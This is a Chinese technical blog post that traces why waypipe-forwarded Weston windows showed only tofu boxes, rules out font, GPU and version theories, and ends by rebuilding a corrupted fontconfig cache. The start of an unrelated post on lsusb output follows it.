&lt;p&gt;通过 waypipe 把远程主机的 Wayland 应用转发到本地显示：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;waypipe ssh peter@dev weston
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;结果整个 Weston 窗口（包括标题栏和内部终端）&lt;strong&gt;所有文字都是整齐的方块（tofu）&lt;&#x2F;strong&gt;，连 ASCII 字符都无法显示。&lt;&#x2F;p&gt;
&lt;p&gt;关键对照：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;同样的命令连另一台服务器 &lt;code&gt;douhao&lt;&#x2F;code&gt; &lt;strong&gt;完全正常&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;直接 &lt;code&gt;ssh dev&lt;&#x2F;code&gt; 用本地终端登录，文字显示&lt;strong&gt;一切正常&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这两个对照信息看似缩小了范围，实际上把排查带偏了好几次。本文如实记录整个过程，重点是&lt;strong&gt;每一步用什么工具、看什么输出、为什么某个结论是错的&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;pai-cha-qian-de-ji-chu-xin-xi-shou-ji&quot;&gt;排查前的基础信息收集&lt;&#x2F;h1&gt;
&lt;p&gt;第一步永远是确认版本和环境，不要凭记忆。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 本地
waypipe --version    # -&amp;gt; waypipe 0.8.6

# 两台服务器
ssh dev    &amp;quot;waypipe --version; weston --version&amp;quot;   # -&amp;gt; 0.9.2 &amp;#x2F; weston 14.0.2
ssh douhao &amp;quot;waypipe --version; weston --version&amp;quot;   # -&amp;gt; 0.9.2 &amp;#x2F; weston 14.0.2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;wu-pan-yi-yi-wei-shi-zi-ti-que-shi&quot;&gt;误判一：以为是字体缺失&lt;&#x2F;h1&gt;
&lt;p&gt;最初的直觉：方块 = 缺字体。于是去数远程的字体：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ssh dev &amp;quot;fc-list | wc -l&amp;quot;     # -&amp;gt; 168
ssh dev &amp;quot;fc-list | grep -iE &amp;#x27;mono|dejavu|noto&amp;#x27;&amp;quot;
# &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;fonts&amp;#x2F;truetype&amp;#x2F;dejavu&amp;#x2F;DejaVuSansMono.ttf: DejaVu Sans Mono ...
# &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;fonts&amp;#x2F;truetype&amp;#x2F;noto&amp;#x2F;NotoSansMono-Regular.ttf ...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;fc-list&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt; 列出系统所有已注册字体。dev 上有 168 个字体，DejaVu Sans Mono、Noto 一应俱全。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;结论：字体文件不缺。&lt;strong&gt;「缺字体」被排除。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;这里其实已经埋下伏笔——&lt;code&gt;fc-list&lt;&#x2F;code&gt; 能列出字体，不代表字体查询系统本身是健康的。但当时没意识到。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;wu-pan-er-yi-wei-shi-gpu-dmabuf-chuan-shu-wen-ti&quot;&gt;误判二：以为是 GPU DMABUF 传输问题&lt;&#x2F;h1&gt;
&lt;p&gt;既然字体不缺，转去看 dev 和 douhao 的硬件差异：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ssh dev    &amp;quot;lspci -nn | grep -iE &amp;#x27;vga|3d&amp;#x27;; ls -l &amp;#x2F;dev&amp;#x2F;dri&amp;quot;
ssh douhao &amp;quot;lspci -nn | grep -iE &amp;#x27;vga|3d&amp;#x27;; ls -l &amp;#x2F;dev&amp;#x2F;dri&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;发现一个「重大差异」：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;GPU&lt;&#x2F;th&gt;&lt;th&gt;缓冲区类型&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;dev&lt;&#x2F;strong&gt;（乱码）&lt;&#x2F;td&gt;&lt;td&gt;真实 Intel 显卡 (i915&#x2F;iris, renderD128)&lt;&#x2F;td&gt;&lt;td&gt;硬件 tiled&#x2F;带 modifier 的 DMABUF&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;douhao&lt;&#x2F;strong&gt;（正常）&lt;&#x2F;td&gt;&lt;td&gt;virtio-gpu（虚拟机）&lt;&#x2F;td&gt;&lt;td&gt;线性 (linear) 缓冲区&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;推理链看起来很完美：Weston 在 dev 上用 GL 渲染器输出 Intel 平铺格式的显存缓冲区，waypipe 通过网络传这些 GPU buffer 时 tiling modifier 没正确还原 → 乱码；douhao 是虚拟 GPU、线性缓冲，所以正常。&lt;&#x2F;p&gt;
&lt;p&gt;于是给出三个方案（对应 &lt;code&gt;waypipe --help&lt;&#x2F;code&gt; 里的选项）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;waypipe ssh peter@dev weston --renderer=pixman   # 让 weston 用 CPU 软件渲染，输出线性缓冲
waypipe --no-gpu ssh peter@dev weston            # 让 waypipe 不转发 GPU dmabuf
waypipe --allow-tiled ssh peter@dev weston       # 允许带 modifier 的 tiled 缓冲
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;结果三个全部还是乱码。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;--no-gpu&lt;&#x2F;code&gt; 走的是纯 SHM 内存缓冲路径，理论上完全绕开 GPU。它都乱码，说明&lt;strong&gt;根因不在 GPU &#x2F; DMABUF 传输&lt;&#x2F;strong&gt;。GPU 差异理论被推翻。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;strong&gt;教训：一个「显著差异」不等于「根因」。dev 和 douhao 有很多不同点，GPU 只是最扎眼的那个。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;wu-pan-san-yi-wei-shi-waypipe-ban-ben-bu-pi-pei&quot;&gt;误判三：以为是 waypipe 版本不匹配&lt;&#x2F;h1&gt;
&lt;p&gt;加 &lt;code&gt;--debug&lt;&#x2F;code&gt; 抓真实日志，这是转折点：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;waypipe --debug ssh peter@dev &amp;quot;weston --renderer=pixman&amp;quot; 2&amp;gt;&amp;amp;1 | head -60
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;日志里跳出版本号：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;c2951318: ... version: 0.8.6      &amp;lt;- 本地 client
s747338:  ... version: 0.9.2      &amp;lt;- 远程 server
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;waypipe 0.8.x 和 0.9.x 之间线协议（wire protocol）确实不保证兼容，看起来是铁证。&lt;&#x2F;p&gt;
&lt;p&gt;但对照 &lt;code&gt;douhao&lt;&#x2F;code&gt; 时立刻自相矛盾：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;waypipe --version                       # 本地 0.8.6
ssh dev    &amp;quot;waypipe --version&amp;quot;          # 0.9.2
ssh douhao &amp;quot;waypipe --version&amp;quot;          # 0.9.2
ssh dev    &amp;quot;ls -l \$(command -v waypipe)&amp;quot;    # 236056 字节
ssh douhao &amp;quot;ls -l \$(command -v waypipe)&amp;quot;    # 236056 字节，完全一致
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;连接&lt;&#x2F;th&gt;&lt;th&gt;本地 client&lt;&#x2F;th&gt;&lt;th&gt;远程 server&lt;&#x2F;th&gt;&lt;th&gt;结果&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;dev&lt;&#x2F;td&gt;&lt;td&gt;0.8.6&lt;&#x2F;td&gt;&lt;td&gt;0.9.2&lt;&#x2F;td&gt;&lt;td&gt;乱码&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;douhao&lt;&#x2F;td&gt;&lt;td&gt;0.8.6&lt;&#x2F;td&gt;&lt;td&gt;0.9.2&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;正常&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;blockquote&gt;
&lt;p&gt;两条连接是&lt;strong&gt;完全相同的 0.8.6 ↔ 0.9.2 组合&lt;&#x2F;strong&gt;。如果纯粹是版本协议不兼容，douhao 也该乱码。&lt;strong&gt;版本不匹配被推翻。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;顺手也排除了 CPU&#x2F;SIMD 差异（waypipe 用手写 AVX2&#x2F;AVX512 内核做缓冲区 diff）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;grep -m1 flags &amp;#x2F;proc&amp;#x2F;cpuinfo | grep -oE &amp;#x27;avx512[a-z]*|avx2&amp;#x27;   # 三方都查
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;结果本地是 i7-11700T（有 avx512），两台服务器都是 &lt;strong&gt;i7-14700K（相同，avx2、无 avx512）&lt;&#x2F;strong&gt;。两台服务器 CPU 完全一样，SIMD 路径不是差异点。&lt;&#x2F;p&gt;
&lt;p&gt;至此，dev 和 douhao 在&lt;strong&gt;版本、CPU、Mesa、字体文件&lt;&#x2F;strong&gt;上全都相同，硬件 GPU 差异又已被 &lt;code&gt;--no-gpu&lt;&#x2F;code&gt; 排除。必须换思路。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;ding-wei-gen-yin-dui-bi-fontconfig-pi-pei-jie-guo&quot;&gt;定位根因：对比 fontconfig 匹配结果&lt;&#x2F;h1&gt;
&lt;p&gt;回到最朴素的观察：&lt;strong&gt;乱码是整齐的方块（tofu），不是彩色雪花噪点。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;缓冲区&#x2F;传输损坏 → 应该是随机噪点、错位、花屏。&lt;&#x2F;li&gt;
&lt;li&gt;整齐的 &lt;code&gt;.notdef&lt;&#x2F;code&gt; 方块 → 是&lt;strong&gt;字形（glyph）查询失败&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;现象一直在说「字体」，只是我前面把「字体文件存在」错当成了「字体系统正常」。直接对比两台的字体&lt;strong&gt;匹配&lt;&#x2F;strong&gt;行为（而不是字体&lt;strong&gt;列表&lt;&#x2F;strong&gt;）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;for h in dev douhao; do
  echo &amp;quot;===== $h =====&amp;quot;
  ssh $h &amp;quot;fc-match monospace; fc-match sans-serif; fc-cache -v 2&amp;gt;&amp;amp;1 | grep -iE &amp;#x27;invalid|成功&amp;#x27;&amp;quot;
done
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;fc-match &amp;lt;类别&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt; 才是关键工具——它模拟应用程序实际拿字体的过程，回答「monospace 这个别名最终解析到哪个字体文件」。输出对比：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;fc-match monospace&lt;&#x2F;code&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;fc-cache&lt;&#x2F;code&gt; 状态&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;dev&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;Droid Sans Fallback&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;⚠️ &lt;code&gt;invalid cache file: 21a99156...-le64.cache-9&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;douhao&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;Noto Sans Mono CJK SC&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;正常&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;两个问题同时暴露：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;dev 的 fontconfig 缓存损坏&lt;&#x2F;strong&gt;：&lt;code&gt;invalid cache file&lt;&#x2F;code&gt;，douhao 没有这行。&lt;&#x2F;li&gt;
&lt;li&gt;dev 默认 monospace 解析到了 CJK 覆盖不全的 &lt;code&gt;Droid Sans Fallback&lt;&#x2F;code&gt;，douhao 是完整的 &lt;code&gt;Noto CJK&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;xiu-fu&quot;&gt;修复&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 在 dev 上执行
rm -rf ~&amp;#x2F;.cache&amp;#x2F;fontconfig            # 删除损坏的缓存
sudo apt install fonts-noto-cjk fonts-noto-mono   # 补齐和 douhao 一致的字体
fc-cache -fv                          # 重建缓存
fc-match monospace                    # 验证 -&amp;gt; Noto Sans Mono CJK SC
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;验证：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ssh dev &amp;quot;fc-match monospace; fc-cache -v 2&amp;gt;&amp;amp;1 | grep -iE &amp;#x27;invalid|成功&amp;#x27;&amp;quot;
# NotoSansCJK-Regular.ttc: &amp;quot;Noto Sans Mono CJK SC&amp;quot; &amp;quot;Regular&amp;quot;
# fc-cache: 缓存生成成功          &amp;lt;- 不再有 invalid
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;之后裸命令 &lt;code&gt;waypipe ssh peter@dev weston&lt;&#x2F;code&gt; 恢复正常，不需要任何 &lt;code&gt;--no-gpu&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;--renderer&lt;&#x2F;code&gt; 参数。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;gen-yin-jie-shi-wei-shen-me-lian-ascii-du-bian-fang-kuai&quot;&gt;根因解释：为什么连 ASCII 都变方块？&lt;&#x2F;h1&gt;
&lt;p&gt;这是最反直觉的一点，也是最值得记住的：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;ASCII 字形任何西文字体都有，「monospace 匹配到覆盖不全的字体」根本不该让 ASCII 也变方块。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;真正让 &lt;strong&gt;ASCII 也乱码&lt;&#x2F;strong&gt;的是&lt;strong&gt;另一半原因：fontconfig 缓存损坏&lt;&#x2F;strong&gt;。渲染链路是：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;weston-terminal  -&amp;gt;  Cairo &amp;#x2F; Pango  -&amp;gt;  fontconfig  -&amp;gt;  FreeType
                                          (查询)        (取字形)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;每渲染一个字符，Pango 都要先问 fontconfig：「这个码点用哪个字体？文件在哪？glyph 索引多少？」&lt;&#x2F;li&gt;
&lt;li&gt;fontconfig 的这套查询&lt;strong&gt;依赖磁盘上的缓存文件&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;当缓存是 &lt;code&gt;invalid&lt;&#x2F;code&gt; 状态时，查询&lt;strong&gt;整体失败&lt;&#x2F;strong&gt;——不是「某个中文字找不到」，而是&lt;strong&gt;连 ASCII 的字形查询都拿不到结果&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;拿不到 glyph，Pango 对&lt;strong&gt;所有字符&lt;&#x2F;strong&gt;（&lt;code&gt;~&lt;&#x2F;code&gt;、&lt;code&gt;$&lt;&#x2F;code&gt;、字母、中文）一律画成 &lt;code&gt;.notdef&lt;&#x2F;code&gt; 空方块。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;所以现象才是「连 ASCII 都是方块」：&lt;strong&gt;不是字体文件缺失，是字体查询系统整体挂了。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;两个原因各自的作用要分清：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;原因&lt;&#x2F;th&gt;&lt;th&gt;造成的现象&lt;&#x2F;th&gt;&lt;th&gt;修复手段&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;fontconfig 缓存损坏&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;连 ASCII 都变方块&lt;&#x2F;strong&gt;（根因）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;rm -rf ~&#x2F;.cache&#x2F;fontconfig &amp;amp;&amp;amp; fc-cache -fv&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;默认字体是 Droid Sans Fallback&lt;&#x2F;td&gt;&lt;td&gt;中文提示符覆盖不全&lt;&#x2F;td&gt;&lt;td&gt;安装 &lt;code&gt;fonts-noto-cjk&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;真正治好 ASCII 方块的是删缓存重建那一步；装 Noto CJK 只是顺带把中文显示也补全了。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;wei-shen-me-zhi-jie-ssh-dev-jiu-mei-shi&quot;&gt;为什么直接 ssh dev 就没事？&lt;&#x2F;h1&gt;
&lt;p&gt;因为渲染位置不同：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;直接 &lt;code&gt;ssh dev&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;：文字在&lt;strong&gt;本地终端仿真器&lt;&#x2F;strong&gt;里渲染，用的是&lt;strong&gt;本地机器&lt;&#x2F;strong&gt;的字体系统，dev 的 fontconfig 完全没参与。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;waypipe ssh dev weston&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;：Weston 及其终端跑在 dev 上，&lt;strong&gt;所有字形渲染都在 dev 完成&lt;&#x2F;strong&gt;，然后把画好的像素缓冲通过 waypipe 传回本地。这条路径才会踩到 dev 上损坏的 fontconfig。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;tui-lun-ben-di-zhi-lian-dev-pao-gui-ye-hui-luan-ma-ma&quot;&gt;推论：本地直连 dev 跑 GUI 也会乱码吗？&lt;&#x2F;h1&gt;
&lt;p&gt;会。判断标准始终是**「谁在画字、用哪台机器的 fontconfig」**，跟 waypipe &#x2F; 网络无关。&lt;&#x2F;p&gt;
&lt;p&gt;如果直接坐在 dev 前（或本地登录 dev）用它的显示器跑 GUI 程序（weston、weston-terminal 等），字形渲染就在 dev 上、走 dev 的 fontconfig 完成，同样会命中那份损坏的缓存 → 一样的方块。&lt;&#x2F;p&gt;
&lt;p&gt;有一个前提要注意：损坏的是&lt;strong&gt;用户 &lt;code&gt;peter&lt;&#x2F;code&gt; 的 &lt;code&gt;~&#x2F;.cache&#x2F;fontconfig&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;（用户级缓存）。所以精确说法是：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;以 &lt;strong&gt;peter 身份&lt;&#x2F;strong&gt;在 dev 上跑 GUI → 乱码。&lt;&#x2F;li&gt;
&lt;li&gt;换成缓存正常的&lt;strong&gt;另一个用户&lt;&#x2F;strong&gt;（或 root 用另一份缓存）→ 未必乱码。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这也反过来印证了前一节：&lt;code&gt;ssh dev&lt;&#x2F;code&gt; 用本地终端不乱码，是因为渲染在本机、用本机 fontconfig，dev 的坏缓存根本没参与。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;jing-yan-zong-jie&quot;&gt;经验总结&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;让现象说话，别让「显著差异」抢戏。&lt;&#x2F;strong&gt; 整齐方块（tofu）= 字形缺失，彩色噪点 = 缓冲区损坏。一开始就该抓住这个区别，而不是先盯着 GPU。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;对照组是双刃剑。&lt;&#x2F;strong&gt; 「douhao 正常」帮我推翻了版本、CPU、GPU 理论，但也一度让我忽略「两台都有字体文件、差异只在匹配结果」这个更细的层面。用对照时要对比到&lt;strong&gt;行为&lt;&#x2F;strong&gt;（&lt;code&gt;fc-match&lt;&#x2F;code&gt;），而不只是&lt;strong&gt;存在性&lt;&#x2F;strong&gt;（&lt;code&gt;fc-list&lt;&#x2F;code&gt;）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;--debug&lt;&#x2F;code&gt; 尽早上。&lt;&#x2F;strong&gt; waypipe&#x2F;weston 的调试日志一句话就暴露了版本号、dmabuf 权限（&lt;code&gt;renderD128: Permission denied&lt;&#x2F;code&gt;，说明 dmabuf 早已被禁用）等关键事实，省去大量猜测。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;区分「文件存在」和「系统可用」。&lt;&#x2F;strong&gt; &lt;code&gt;fc-list&lt;&#x2F;code&gt; 能列出字体 ≠ fontconfig 能正常查询。缓存损坏是「文件都在但系统坏了」的典型。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;gong-ju-su-cha&quot;&gt;工具速查&lt;&#x2F;h1&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;工具&lt;&#x2F;th&gt;&lt;th&gt;用途&lt;&#x2F;th&gt;&lt;th&gt;本次关键输出&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;waypipe --version&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;确认两端版本&lt;&#x2F;td&gt;&lt;td&gt;排除&#x2F;确认版本不匹配&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;waypipe --debug ...&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;打印协议级日志&lt;&#x2F;td&gt;&lt;td&gt;暴露版本号、dmabuf 权限被拒&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;waypipe --help&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;查 &lt;code&gt;--no-gpu&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;--allow-tiled&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;--renderer&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;尝试绕过 GPU&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;fc-list&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;列出已安装字体（存在性）&lt;&#x2F;td&gt;&lt;td&gt;168 个，文件不缺&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;fc-match &amp;lt;类别&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;模拟应用取字体（匹配行为）&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;定位到 Droid Sans Fallback &#x2F; 缓存 invalid&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;fc-cache -fv&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;重建字体缓存&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;修复根因&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;lspci -nn&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;ls &#x2F;dev&#x2F;dri&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;查 GPU 类型&lt;&#x2F;td&gt;&lt;td&gt;发现 Intel vs virtio（最终无关）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;proc&#x2F;cpuinfo&lt;&#x2F;code&gt; flags&lt;&#x2F;td&gt;&lt;td&gt;查 SIMD 指令集&lt;&#x2F;td&gt;&lt;td&gt;排除 AVX 差异&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>理解 Linux USB sysfs</title>
        <published>2026-07-03T12:00:00+08:00</published>
        <updated>2026-07-03T12:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/07/理解-linux-usb-sysfs/"/>
        <id>https://vercel.juzhong.asia/2026/07/理解-linux-usb-sysfs/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/07/理解-linux-usb-sysfs/">&lt;h1 id=&quot;lsusb-shu-chu-jie-du&quot;&gt;&lt;code&gt;lsusb&lt;&#x2F;code&gt; 输出解读&lt;&#x2F;h1&gt;
&lt;p&gt;以一个 QEMU 虚拟机的输出为例：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 001 Device 002: ID 0627:0001 Adomax Technology Co., Ltd QEMU Tablet
Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;每行格式为 &lt;code&gt;Bus XXX Device YYY: ID vvvv:pppp VendorName ProductName&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;字段&lt;&#x2F;th&gt;&lt;th&gt;含义&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;Bus 001&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;USB 总线编号&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
